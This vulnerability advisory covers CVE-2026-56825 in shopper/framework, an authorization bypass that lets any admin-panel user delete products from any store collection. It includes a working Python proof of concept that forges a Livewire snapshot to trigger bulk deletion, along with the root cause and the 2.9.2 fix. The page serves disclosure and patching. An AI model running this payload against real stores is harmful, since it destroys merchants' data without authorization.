CVE-2026-56825: Shopper CollectionProducts Missing Authorization
Any logged-in admin panel user, even one with read-only access, can silently remove all products from any collection in the store by forging a Livewire wire payload, because the CollectionProducts…

The problem
The CollectionProducts Livewire component in composer/shopper/framework (versions before 2.9.2) registers two destructive table actions, a per-record delete and a bulk delete, without any ->authorize(...) guard. A staff account holding only browse_collections can trigger either action.
Worse, the component exposes public Collection $collection without the #[Locked] attribute, so the collection ID travels in the Livewire snapshot and can be freely overwritten from the browser. An attacker is not limited to the collection they navigated to: they can target any collection ID in the database by simply substituting it in the snapshot payload.
Proof of concept
A working proof-of-concept for CVE-2026-56825 in shopper/framework, with the exact payload below.
#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC (CVE-2026-56825).
Requires: BASE_URL, SESSION_COOKIE, XSRF_TOKEN, COMPONENT_ID,
COLLECTION_ID, PRODUCT_IDS env vars.
"""
import json, os, requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
component_id = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
# Overwrite `collection` with any target collection ID in the snapshot.
# No checksum validation blocks this because the property is not #[Locked].
snapshot = json.dumps({
'id': component_id,
'data': {'collection': collection_id},
'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callBulkAction',
'params': ['delete', product_ids],
}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])The root cause is CWE-862 (Missing Authorization). Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) call, so Livewire dispatches both actions to any authenticated session without checking role.
The missing #[Locked] on public Collection $collection (line 40) compounds the issue. Livewire trusts the data.collection value from the client snapshot, so the attacker can point the action at any collection ID, not just the one their session loaded.
The patch (v2.9.2) adds #[Locked] to the property and chains ->authorize('edit_collections') onto both the per-record and bulk delete actions, ensuring only users with explicit edit rights can trigger either path.
The fix
Upgrade composer/shopper/framework to version 2.9.2 or later. The release adds #[Locked] to the $collection property and gates both the per-record and bulk delete actions behind ->authorize('edit_collections'). No configuration changes are required after upgrading.
Reported by Vishal Shukla (@therawdev / @shukla304).
Related research
- high · 8.8CVE-2026-56828CVE-2026-56828: shopper/framework Privilege Escalation via Livewire Misconfigured Authorization
- high · 8.1CVE-2026-56829CVE-2026-56829: Shopper VariantStock Missing Authorization
- high · 8.1CVE-2026-56827CVE-2026-56827: Shopper Framework Missing Authorization on Filament Bulk Actions
- high · 8.1CVE-2026-81892CVE-2026-81892: EasyAdmin Custom-Action Dispatcher Authorization Bypass